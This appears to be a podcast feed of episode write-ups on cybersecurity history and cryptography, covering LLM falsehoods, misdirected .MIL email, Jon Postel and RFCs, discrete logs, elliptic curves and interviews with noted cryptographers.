We are human, and, like it or not, we lie. Why? Because we might not want to admit to some truth, or where we might want to seem knowledgeable. It is a human attribute, and it defines us. Overall, our intelligence weighs up the cost and reward and makes a decision as to whether we should tell the truth or not. Ask a child about who eat a biscuit, and there’s a chance they will lie because they do not want the punishment or do not want to tell tales about their friend. And so, as we go through our lives, we all lie, and sometimes it gets us in trouble; sometimes, it saves us from punishment; and sometimes, it makes us look smart.
Overall, lying is a weakness of our character, but, at other times, it is our intelligence showing through and making good guesses. At the core of this is often trust, and where someone who lies too much becomes untrustworthy, and if someone lies about someone else for a malicious reason, they can taint their own character. One of the least liked human attributes is where someone lies about someone else. But what about machines, can they lie?
But, a machine lying is a little like you getting asked, “who won the match between Manchester United and Grimsby Town?” If you don’t know the answer but want to look smart, you might “lie” and say that it was Manchester United — as they are most likely to win. If they didn’t win, you might be called a liar, but in most cases, you will seem knowledgeable.
And, so, there’s a dilemma in the usage of LLM (Large Language Models) … what happens when the AI doesn’t know the answer to something and where it hasn’t learnt it. While it may know the capital of Germany, it is unlikely to know the town you visited last Tuesday. With LLM, the machine obviously takes a guess based on probabilities. If I know that a person lives in Edinburgh, then in all probability, the most probable city will be Glasgow, and the next being London — as the probabilities will show that for travels, Edinburgh is most linked to Glasgow and then to London.
In a previous article, I outlined how Chat-GPT provided some false statements on me, including that I invented the Hypervisor and that I was a Fellow of the Royal Society of Edinburgh (RSE). But, if someone in the newspapers published false statements about someone, you might consider suing them or at least asking for an apology. But what about machines? What happens when they define “an untruth”?
In human terms, we would define an untruth as a lie. But a machine is just weighing up probabilities. It, too, has little concept of the truthiness (veracity) of the data it has received. For my RSE award, it perhaps looked at my profile and computed that there was a high probability that I would have an RSE Fellowship based on me being a Professor in Scotland, having an OBE, and having an academic publishing record.
But, if someone in the newspapers published false statements about someone, you might consider suing them or at least asking for an apology. But what about machines? What happens when they define “an untruth”?
And, so, ChatGPT — created by OpenAI — could be one of the first pieces of software to stand trial on the way it collects, uses and protects its data. For this, the Washington Post reports that the FTC (Federal Trade Commission) has initiated a wide-ranging set of questions against its LLM (Large Langage Model) [here].
I receive a good deal of incorrect emails on my Gmail account. Most of it relates to the gathering of war veterans in the US or church events in Illinois that I must attend. Why? Because someone, somewhere, has a similar email address to me. Perhaps it is Bill Buchan or Will Buchanan? Who knows, but I get them constantly, and where I discretely decline the invite and ask them to check the email address.
Overall, I never embarrass those who send me these emails by responding back to the whole group. Many times, there can be over 50 people that are copied into the email. It is all part of the silly world of email. But, when incorrect emails go to places with sensitive data, we must worry.
And, so, the Financial Times [here] has now disclosed that a typo in the definition of an email address has sent 100s of thousands of emails from its military domain (.MIL) to the Mali domain (.ML).
This includes sensitive documents, tax returns, travel information and password resets. It is thought that this has existed for over a decade and was discovered by Johannes Zuurbier (and who is in contact with those who managed the .ML domain), but only now is it being taken seriously by the US military. For this, he found over 117,000 misdirected email messages, which increases by over 1,000 messages by the day.
Postscript
Note, I support good journalism. The FT supports “Authority. Integrity. Accuracy.” Please consider a subscription, and keep good journalism alive:
Rock singers often say that it was their adversity that drove them to create their classics, such as heartache, sorrow, or losing something in their lives. And, so, we might quote:
Sweet are the uses of adversity — William Shakespeare
One such person who had considerable adversity is Leonhard Euler and who lived from 1707 to 1783. Leonhard was truly one of the greatest minds who has ever graced this planet:
“Read Euler, read Euler, he is the master of us all” — Pierre-Simon Laplace
But, he suffered great adversity in his life and eventually went blind. His blindness, though, seemed to just increase his outputs — as it allowed him to focus his mind on core problems. In fact, in 1775 — four years after he had gone blind — he proposed a mathematical paper every week. On going blind, he was quoted:
“Now I will have fewer distractions.”
Leonhard output of truly original thought in his time of adversity has possibly never been equalled by any mortal soul. And, his legacy lives on and is part of virtually every single transaction on the Internet. In fact, his maths has made our digital world so much safer.
The fundamentalsThis article could in no way define all of Leonhard’s contributions, but one of the most fundamental is that he took the basics of integral calculus — as sketchily defined by Newton and Leibniz — and perfected it. In our modern world, so many things in our lives depend on calculus for their solutions, such as where we see changes in the physical parameters in our world. Calculus, for example, links the distances we travel over time to speed, and then changes in our speed to acceleration and deceleration. Overall, it basically makes sense of the dynamics of our world — an ever-changing and sometimes chaotic world.
Further reading here.
So while there is much debate around people like Tim Berners-Lee and Vint Cerf, we should also include “The Editor of the Internet”: Jon Postel.
Jon was born on 6 August 1943 and died in October 1998. Even up to his death, he was the editor of the Request for Comment (RFC) documents and administered the Internet Assigned Numbers Authority (IANA). In 2012, he was inducted into the Internet Hall of Fame by the Internet Society, and the foundation he has left is as strong as any foundation ever created, in fact, it’s the foundation for our Cyber Age.
Building and standardizing the InternetBefore the Internet, companies such as IBM held a stranglehold on the industry, and typically defined the standards for others to follow. Along with this, we had standards agencies, such as ISO and the IEEE, which were comborsome entities which took years, if not decades, to standardize anything. With these standardization agencies, a standard could take years to develop, and often involved the tinkering from countries, in order to protect their industries, and thus often stifled innovation.
Overall the Internet was built around many of the systems and protocols that grew up in the early 1980s. It then grew without the constraints of governments and standards agencies. The core part of this growth was the quick method of publishing a new standard: the RFC.
RFCsRFC (Request For Comment) documents are a way to quickly define standards. With this HTTP and email quickly become standardized. Developers could then go ahead and implement the system against the standards, without the massive overhead of taking them to international standards agencies like the ISO (International Standard Organisation) or the IEEE.
While first published in 1969 (with RFC1), the classics first started to appear in 1981, and which now provide the core of the Internet:
Many protocols, although now limited, became de-facto standards, and have moved on little since, including HTTP (HyperText Transmission Protocol) 1.1, which was initially created as RFC 1945.
The foundation: TCP and IPSo, it was in September 1981, that the true foundation of the standardisation of Internet communications was born:
For RFC 783 we have:
September 1981 Transmission Control Protocol
PREFACE This document describes the DoD Standard Transmission Control Protocol (TCP). There have been nine earlier editions of the ARPA TCP specification on which this standard is based, and the present text draws heavily from them. There have been many contributors to this work both in terms of concepts and in terms of text. This edition clarifies several details and removes the end-of-letter buffer-size adjustments, and redescribes the letter mechanism as a push function.
Jon Postel Editor
Sandwiched in-between the two classics, was another one, which did not have the same impact, but has helped to debug a billion systems: Internet Control Message Protocol (ICMP) — RFC 782. So RFC791, RFC792 and RFC793 have since changed the course of our societies.
The impact of the IP and TCP standards cannot be underestimated in terms of their impact on our society, and certainly rate alongside “The Wheel” and “The Transistor” as some of the most disruptive technologies ever created. Its standardization supported a whole range of activities and basically allow the Internet to boot up quickly. If nation-states had controlled the Internet, it would have ended up being licensed, and locked down in its growth. Without the massive growth of the spread of the protocols, the Internet would have died as quickly as it had been created. With standards and government agencies controlling its every move. For Jon, he just gathered the required methods for the standards and posted them for everyone to review. If you missed it, you really couldn’t contribute until the next version came along.
Building a Web: HTTPFor something like HTTP, which provides the core of most of what we do on the Web, it started with 1.0 (with the input from Tim Berners-Lee) with RFC1945 (in 1996) and then developed on HTTP 1.1 as RFC2068 (in 1997). Basically in the 18 years since, very little has changed with the core HTTP protocol, as it quickly becomes as standard. New methods of using in — such as with REST Web services — actually made use of all the things that were not really used when accessing static Web pages.
The lack of thought to security is highlighted by the fact that it took to RFC 1508 before the word “Security” was included in the title (Sept 1993), which was more than 12 years since the IP packet definition (Sept 1981).
So it was 1981 when TCP and IP were created, and two major other things happened around the time that supported the growth of the Internet. The first was the release of the PC by IBM, and the other was when Leonard Bosack networked the Stanford University computer science department’s computers, along with Sandy Lerner. Their knowledge was then used to create the router, and the formation of Cisco in 1984. At its core was the implementation of the IP and TCP standards.
Email, remote access and lots more…It’s not just TCP, IP and HTTP that we have to thank Jon for, it’s all the other protocols he helped standardize. The way that we use Web addresses, such as http://asecuritysite.com/challenges, was standardized in RFC 1738 — Uniform Resource Locators (URL), and which is something that we just take for granted, but without it, we really couldn’t create our integrated infrastructure.
And without Jon, we would have to remember the IP address of every Web site we wanted to visit — for that, he standardised domain names and their mapping to IP addresses with RFC1035.
And how can I connect a computer to the Internet, and every computer in the whole knows it’s there — well that one is a shy little protocol — ARP — Address Resolution Protocol — the most horrible and beautiful of all the protocols. It was published as RFC826 (standardized in 1982), and allows the discovery of computers on a local network by a network gateway. Without ARP, we would have to create a massive database that kept a copy of all the computers which connect to the Internet. With it, computers are discovered and connectable.
The Killer App: EmailIn the early phases of the Internet, it was not the Web that was the “killer app”, it was electronic mail. The large-scale adoption of email was indebted to Jon with standards around sending emails (SMTP — Simple Mail Transport Protocol — RFC821 — defined in 1982) and reading it (POP — Post Office Protocol — RFC960) — defined in 1985). Often, though, the first, and even the second version, was not enough, and some protocols, such as POP-3 (RFC1939) and IMAP-4 (RFC1730), went through a few major iterations to become the worldwide de-facto standard.
The Internet and the internetThe greatest challenge for the Internet, when it was first created, was how it would scale, so that new computers and networks could be added, and discovered by the rest of “The Internet”.
I must here define “The Internet”, as it is different from “the internet”. Basically, “The Internet” uses publicly defined IP addresses, whereas “the internet” is not publicly routable.
The key to this, along with IP Version 4, was routing protocols, which were used to find the best way to a destination, and involved routers intercommunicating to discover new networks. The first of these “routing protocols” were fairly simple, just measuring the number of hops that it took to get from one network to another. And so Jon posted RFC1058 for RIP (Routing Information Protocol) Version 1.
Before RFCs, large companies often defined the standards, especially IBM, and who could force the market to abide by their interface and who could thus control the market. This monopoly was completely broken by Jon, and few companies could release new standards unless they had been standardized by RFCs.
We should all have a magic switch that pushes aside our worries and replaces them with something that takes our woes away. So, when I’ve had a long and tiring day, and there are things buzzing in my head — I don’t count sheep, I ponder the wonder of discrete logarithms, and in the magical ways they have solved our many online security. It relaxes me and pushes out all of those academic stresses.
This academic year, we were so lucky to speak to some of the people who properly built the foundations of our online security. This included Marty Hellman (co-inventor of the Diffie-Hellman method), Tahir ElGamal (inventor of the ElGamal encryption method), and Neal Koblitz (co-inventor of Elliptic Curve Cryptography — ECC). In this article, I will trace the roots of this security, and outline how discrete logs paved the way for the rise of ECC.
So, if we go back to school, you will remember that:
g^x . g^y
is equal to:
g^{x+y}
and that:
{g^x}^y
is:
g^{x.y}
That’s the beauty of logarithms.
IntroductionOur online world is secured with discrete logs. While we have moved away from discrete logs for key exchange (Diffie-Hellman), encryption (ElGamal) and digital signatures (DSA), at the core of the security of elliptic curves is the Elliptic Curve Discrete Logarithm Problem (ECDLP):
Can we find n such that Q = nP?
and where P and Q are points on an elliptic curve, and where we have a finite field defined by a prime number. The curve itself can be the form of:
y²=x³+ax+b (mod p)
The (mod p) part defines a finite field, and which basically constrains the values of x and y to between 0 and p-1. But, I’d like to look back at a time before elliptic curves and see where we started with this: the discrete log. Basically, discrete logs built the security of the Internet, and without them, we would have struggled to advance from a digital world that used physical cables and padlocks to secure itself.
I love wireless (wi-fi) communications. In fact, I did my PhD around the propagation of radio waves using Maxwell’s equations. The beauty and perfection of radio waves will never leave me. The first thing you often learn about wifi is how the frequency of the wave relates to its wavelength (lambda=speed of light divided by the frequency) and how dipole antennas have to be around half a wavelength long. For AM, there are long antennas (such as, with the ones that wrap copper around a core) or can be short ones (like the dipole antenna on your wireless router). Much of the magic happens around 2.4GHz.. and which gives a wavelength of 12.5cm, and where if you measure the dipole antenna, it will be around 6cm high. Once you learn about this, you are often hooked on the wonderment of radio waves. It has solid mathematics, but is also a black art (ask any RF engineer, and they will tell you this)! Overall, too, wi-fi has freed us from those pesky twisted pair of cables and those troublesome RJ45 and RJ11 connectors. And, at the core of wifi, is signal strength, and where the stronger the signal, the more chance we have of creating a good network connection. For this, with most IEEE 802.11x standards, the bandwidth that you can use often relates to the signal strength that you have — so the further away you are from the transmitter, the more likely it is that you will have a lower bandwidth capacity. I, too, love all the different antenna shapes and designs and try to imagine how they spread their signals. But those pesky metal things get in the way and can bounce signals in other directions (which is sometimes a good thing, of course), and the other materials, such as concrete, will reduce the signal strength. For all the maths of Maxwell’s equations, a lot comes down to measurements and simulations. At home, you might have a MIMO (Multiple In, Multiple Out) transmitter, and which bounces signals of objects and transmits on multiple channels. This might give up to 540Mbps. But, the further you go away from this, the bandwidth reduces until it will drop to nearer 11 Mbps. And, so RSSI (Receiver Signal Strength Indicator) is an important measurement as it defines how good your signal strength is — at a point in time. This will obviously vary as you move and as other things move around you. But, at the other end, if you have too much signal strength, you can breach health and safety regulations. Currently, this is around 100mW, and you need to have a good reason if you need higher power levels than this, as too much radio power — especially around 2.4GHz — might affect someone’s health. So, let's talk about that troublesome (and powerful) unit called dBm, and where it is all about adding and subtracting, and not those difficult maths operations of multiplying and dividing. Believe in John Napier's logs to help our wifi systems:
I have a secret. And you have a secret. And together, we can merge our secret into another secret. What I am outlining here is the beauty of the Elliptic Curve Diffie Hellman (ECDH) method, and it is protecting your rights to privacy in the access that you have to this podcast. And what about trust? Well, there’s a chance that the Web site that you are receiving this podcast from is using the ECDSA (Elliptic Curve Digital Signature Algorithm) to verify that you can trust the site.
And, so, in this podcast, I’m going to outline something that is pure mathematical beauty: the Elliptic Curve.
There are more information on ECC [here] and the text to this Podcast is [here].
Here Harry McLaren talks with Rich Macfarlane and Bill Buchanan. What's the key to finding a job within Cybersecurity? A balance of technical competencies (networking, OS, services, programming, and so on) and human intelligence (self-awareness, self-regulation, motivation, empathy and social skills).
The slides are here.
For Splunk/Cyber&Data: here.
This is a basic introduction to the Building Trust podcast.
In this episode Professor William Buchanan OBE takes us back through the patents that gave rise to the security for the internet as we know it.
In this podcast, we will outline some of the design choices that Satoshi Nakamoto made for the hashing of the private key to the public ID, especially on the selection of the two hashing methods of SHA-256 and RIPEMD160.
So how do we create a world where we can store our secrets in a trusted and then reveal them when required? Let’s say I predict the outcome of an election, but I don’t want to reveal my prediction until after the election. Well, I could store a commitment to my prediction, and then at some time in the future, I could reveal it to you, and you can check against the commitment I have made. Anyone who views my commitment should not be able to see what my prediction is.
This is known as Pedersen Commitment, and where we produce our commitment and then show the message that matches the commitment. In its core form, we can implement a Pedersen Commitment in discrete logs [here]. But blockchain, IoT, Tor, and many other application areas, now use elliptic curve methods, so let’s see if we can make a commitment with them.
Note: TeamViewer is not a malicious piece of software when normally used. The scammer wanted to install a remote desktop on my machine with it.
Jean-Philippe (JP) Aumasson is a true innovator in cryptography, and especially in the creation of fast, secure and light-weight hashing methods. He co-designed the BLAKE hashing method [here], and which is currently the fastest secure cryptographic hashing function. Along with this, he worked with Daniel J Bernstein on SipHash [here], and created the Cryptography Coding Standard. JP also created the Quark light-weight hashing method, and is also the author of "Serious Cryptography: A Practical Introduction to Modern Encryption" [here].
Neal I. Koblitz is a Professor of Mathematics at the University of Washington. He is a co-inventor of Elliptic Curve Cryptography (ECC). His original paper was published in 1987 and entitled "Elliptic curve cryptosystems" [1]. Overall, ECC is one of the greatest breakthroughs in cryptography and which has largely replaced discrete logarithm methods in key exchange and has replaced the RSA method in many applications for digital signing. Overall, elliptic curve methods are now used extensively with digital signing (ECDSA/EdDSA) and for key exchange (ECDH), along with applications into Bitcoin and Ethereum. Neal was recently recognized for his work with the Levchin Prize at the real-world cryptography conference. His recent work has included applications for lattice cryptography and random oracles. Neal is also the author of several leading textbooks:
[1] Koblitz, N. (1994). A course in number theory and cryptography (Vol. 114). Springer Science & Business Media.
In this episode Professor William Buchanan OBE talks with Professor Keith Martin, from the Royal Holloway, about the intersection of information security and academia, privacy and digital footprints.
In research, we build on the shoulders of giants, and Taher Elgamal is one the giants of cybersecurity. His work on Netscape led to the creation of SSL, and for which much of our Web security is still built on. His paper on "A public key cryptosystem and a signature scheme based on discrete logarithms" is true classic, and has been referenced over 11,600 times. Within the paper, Tahir outlined an encryption method and a digital signature method. His ‘base’ was to take John Napier’s logarithm, and make them discrete. The signature method was adopted as the Digital Signature Standard (DSS) by NIST, and which has to become ECDSA, as used by Bitcoin and Ethereum. The Elgamal methods is now being used in many new areas of privacy, including within homomorphic encryption methods.
Tahir studied electrical engineering in the late 1970s at Stanford University. It was there he met Marty Hellman and who helped him spark an interesting in cryptography. He received his PhD in 1984 and it was Marty who introduced him to Paul Kocker at Netscape Communications. Together, Paul and Tahir worked on a method to implement end-to-end encryption, and published SSL 3.0 in November 1996.
Join this "fireside chat", as Taher recalls his past, and also looks to the future.
In this episode Professor William Buchanan OBE talks with by Dan Shumow, Senior Software Development Engineer in the Security and Cryptography group, about cryptography, RSA and the researcher’s mindset.
Len is a co-creator of the RSA encryption algorithm [1] and received the 2002 Turing Award (often defined as the Nobel Prize of Computer Science). The RSA paper is one of the most significant computer science papers ever published and has received over 25,695 citations. Len is also known for the creation of DNA computing. He is a professor at the University of Southern California and a member of the National Academy of Sciences.
[1] Rivest, R. L., Shamir, A., & Adleman, L. (1978). A method for obtaining digital signatures and public-key cryptosystems. Communications of the ACM, 21(2), 120-126.
In this episode Professor William Buchanan OBE talks with Professor Martin Hellman, a world-renowned cryptologist and a founder of public key encryption, about cryptography and ethics.
In this episode Professor William Buchanan OBE talks with Professor Leonard Adleman, from the University of Southern California, about the endurance of RSA, DNA as a computational substrate and the contention between national security and privacy.
In this episode Professor William Buchanan OBE talks with Professor Alan Woodward from University of Surrey about his illustrious career as a Physicist, Consultant, Researcher and Professor.
In this episode Professor William Buchanan OBE is joined by Nick Sullivan, head of research at Cloudflare, to discuss the mathematics of cryptography, public key encryption, and the implications of quantum computing.
In this Episode Professor William Buchanan OBE talks with Federico Charosky about the past, present and future of the information security industry, what it takes to innovate as an entrepreneur and his view on the intersection between industry and academia.
En liten tjänst av I'm With Friends. Finns även på engelska.